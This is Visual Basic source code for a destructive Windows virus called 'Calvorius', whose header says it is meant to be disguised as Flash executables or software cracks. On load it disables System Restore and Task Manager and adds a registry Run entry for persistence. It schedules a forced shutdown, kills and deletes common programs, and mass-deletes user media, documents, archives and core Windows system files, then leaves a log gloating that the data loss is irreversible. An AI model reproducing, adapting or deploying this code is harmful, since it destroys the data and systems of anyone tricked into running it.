';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';
'; Nombre: Calvorius ';
'; Versión: 2.0 ';
'; Fecha de Creación: 20/05/09 ';
'; Tipo: DESTRUCTOR. ';
'; Encubrimiento: "Ejecutables Flash", "Crack de programas". ';
';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';
Private Sub Form_Load()
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk" ';Impire restaurar el sistema.
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Asistente para transferencia de archivos y configuraciones.lnk" ';Impire trasferir archivos.
Kill "C:\%SystemRoot%\system32\restore\rstrui.exe" ';Impire restaurar el sistema.
Kill "C:\%SystemRoot%\system32\restore\filelist.xml"
Kill "C:\%SystemRoot%\system32\restore\srdiag.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\restore\srframe.mmf"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "cmd.exe cd C:\WINDOWS\"
Shell "cmd.exe echo off>Calvorius.bat"
Shell "cmd.exe echo @ echo off>>Calvorius.bat"
Shell "cmd.exe echo set hora=%time:~0,5%>>Calvorius.bat"
Shell "cmd.exe echo set hor=%hora:~0,2%>>Calvorius.bat"
Shell "cmd.exe echo set min=%hora:~3,5%>>Calvorius.bat"
Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Calvorius.bat"
Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""
Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Calvorius.bat"
Shell "cmd.exe taskkill msnmsgr.exe" ';ejecutable.
Shell "cmd.exe taskkill msnmsgs.exe" ';ejecutable.
Shell "cmd.exe taskkill schvoust.exe" ';ejecutable.
Shell "cmd.exe taskkill iexplore.exe" ';ejecutable.
Shell "cmd.exe taskkill word.exe" ';ejecutable.
Shell "cmd.exe taskkill outlook.exe" ';ejecutable.
Shell "cmd.exe taskkill notepad.exe" ';ejecutable.
Shell "cmd.exe taskkill mspaint.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F msnmsgr.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F msnmsgs.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F schvoust.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F iexplore.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F word.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F outlook.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F notepad.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F mspaint.exe" ';ejecutable.
Shell "cmd.exe del /Q /S /F C:\ *.jpg" ';imagen.
Shell "cmd.exe del /Q /S /F C:\ *.bmp" ';imagen.
Shell "cmd.exe del /Q /S /F C:\ *.png" ';imagen.
Shell "cmd.exe del /Q /S /F C:\ *.psd" ';Photoshop.
Shell "cmd.exe del /Q /S /F C:\ *.mp2" ';audio.
Shell "cmd.exe del /Q /S /F C:\ *.mp3" ';audio.
Shell "cmd.exe del /Q /S /F C:\ *.mp4" ';auido-video.
Shell "cmd.exe del /Q /S /F C:\ *.mid" ';Midi.
Shell "cmd.exe del /Q /S /F C:\ *.avi" ';Video.
Shell "cmd.exe del /Q /S /F C:\ *.mpg" ';Video.
Shell "cmd.exe del /Q /S /F C:\ *.mov" ';Video.
Shell "cmd.exe del /Q /S /F C:\ *.pdf" ';Texto.
Shell "cmd.exe del /Q /S /F C:\ *.rar" ';Comprimido.
Shell "cmd.exe del /Q /S /F C:\ *.zip" ';Comprimido.
Shell "cmd.exe del /Q /S /F C:\ *.wav" ';audio.
Shell "cmd.exe del /Q /S /F C:\ *.doc" ';Documento Word.
Shell "cmd.exe del /Q /S /F C:\ *.docx" ';Documento Word 2007.
Shell "cmd.exe del /Q /S /F C:\ *.xlsx" ';hoja excel 2007.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp3" ';Audio.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mov" ';Video.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mpg" ';Video.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.avi" ';Video.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp4" ';Audio-Video.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.pdf" ';Texto.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.zip" ';Archivos Comprimidos.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.rar" ';Archivos Comprimidos.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.wav" ';Audio.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.bmp" ';Imagn de Windows.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mid" ';Midi.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.psd" ';PhotoShop.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.txt" ';Texto.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.doc" ';Texto Word.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.docx" ';Texto Word 2007.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.xlsx" ';Hoja Excel.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.ico" ';icono.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.png" ';imagen.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.exe" ';ejecutables.
Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.msi" ';instalables.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.ini" ';Texto.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.log" ';Texto.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.bmp" ';Imagen.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.dll" ';Extnción de Aplicación.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.sys" ';Archivo del sistema.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.bat" ';Batch File.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.exe" ';Ejecutable.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\system32\calc.exe" ';calculadora.
Shell "cmd.exe del /Q /S /F C:\WINDOWS\system32\himen.sys" ';archivo necesario para inicio.
Kill "C:\%SystemRoot%\system32\wbem\winmgmt.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\wbem\wmiprvse.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\wbem\wmic.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\wbem\wmiadap.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\wbem\wmiapsrv.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\wbem\wbemtest.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\usmt\migload.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\usmt\migwiz.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\usmt\migwiz_a.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\usmt\migwiza.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\usmt\ *.inf"
Kill "C:\%SystemRoot%\system32\ras\cis.scp"
Kill "C:\%SystemRoot%\system32\ras\pad.inf"
Kill "C:\%SystemRoot%\system32\ras\pppmenu.scp"
Kill "C:\%SystemRoot%\system32\ras\slip.scp"
Kill "C:\%SystemRoot%\system32\ras\slipmenu.scp"
Kill "C:\%SystemRoot%\system32\ras\switch.inf"
Kill "C:\%SystemRoot%\system32\DirectX\Dinput\*.png"
Kill "C:\%SystemRoot%\system32\DirectX\Dinput\*.ini"
Kill "C:\%SystemRoot%\system32\dllcache\*.cpx"
Kill "C:\%SystemRoot%\system32\dllcache\*.dll"
Kill "C:\%SystemRoot%\system32\dllcache\*.tlb"
Kill "C:\%SystemRoot%\system32\dllcache\*.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\dllcache\*.gif"
Kill "C:\%SystemRoot%\system32\dllcache\*.sys"
Kill "C:\%SystemRoot%\system32\dllcache\*.nls"
Kill "C:\%SystemRoot%\system32\dllcache\*.acm"
Kill "C:\%SystemRoot%\system32\dllcache\*.hlp"
Kill "C:\%SystemRoot%\system32\dllcache\*.chm"
Kill "C:\%SystemRoot%\system32\dllcache\*.ttf"
Kill "C:\%SystemRoot%\system32\dllcache\*.fon"
Kill "C:\%SystemRoot%\system32\dllcache\*.wav"
Kill "C:\%SystemRoot%\system32\dllcache\*.ime"
Kill "C:\%SystemRoot%\system32\dllcache\*.lex"
Kill "C:\%SystemRoot%\system32\dllcache\*.cat"
Kill "C:\%SystemRoot%\system32\dllcache\*.wmv"
Kill "C:\%SystemRoot%\system32\dllcache\*.css"
Kill "C:\%SystemRoot%\system32\dllcache\*.ocx"
Kill "C:\%SystemRoot%\system32\dllcache\*.htm"
Kill "C:\%SystemRoot%\system32\dllcache\*.js"
Kill "C:\%SystemRoot%\system32\dllcache\*.wpl"
Kill "C:\%SystemRoot%\system32\dllcache\*.wmz"
Kill "C:\%SystemRoot%\system32\dllcache\*.vbs"
Kill "C:\%SystemRoot%\system32\dllcache\*.bin"
Kill "C:\%SystemRoot%\system32\dllcache\*.dat"
Kill "C:\%SystemRoot%\system32\Tools\*.exe" ';Ejecutables.
Kill "C:\%SystemRoot%\system32\Tools\*.ini" ';Información.
Kill "C:\WINDOWS\AppPatch\*.dll" ';Extención de Aplicación.
Kill "C:\WINDOWS\AppPatch\*.sdb" ';???????????
Kill "C:\WINDOWS\Cursores\*.cur" ';Cursor.
Kill "C:\WINDOWS\Cursores\*.ani" ';Cursores Animados.
Kill "C:\WINDOWS\Debug\*.log" ';Texto.
Kill "C:\WINDOWS\Fonts\*.ttf" ';tipografias.
Kill "C:\WINDOWS\Fonts\*.fon" ';tipografias.
Kill "C:\WINDOWS\Fonts\*.ttc" ';tipografias.
Kill "C:\WINDOWS\Help\*.chm" ';Ayuda.
Kill "C:\WINDOWS\Help\*.dll" ';Extención de Aplicación.
Kill "C:\WINDOWS\Help\*.chi" ';??????
Kill "C:\WINDOWS\Help\*.hlp" ';Ayuda.
Kill "C:\WINDOWS\Help\*.cnt" ';Ayuda.
Shell "cmd.exe cd C:\WINDOWS\"
Shell "cmd.exe echo off>Calvorius.log"
Shell "cmd.exe echo El_Virus_Calvoruis_Genoma_2_Infecto_Satisfactoriamente_a_este_sistema_constituido_por_microsoft_windows>>Calvorius.log"
Shell "cmd.exe echo Lamentablemente_usted_acaba_de_perder_toda_la_información_de_su_PC>>Calvorius.log"
Shell "cmd.exe echo Los_efectos_que_produce_calvorius_en_el_sistema_son_ireversibles>>Calvorius.log"
Shell "cmd.exe echo >>Calvorius.log"
Shell "cmd.exe echo CREADO.COPYRIGHT.2007-2009.>>Calvorius.log"
End Sub
Private Sub Timer1_Timer()
Calvorius_Gen.Hide ';No mostrar Form.
End Sub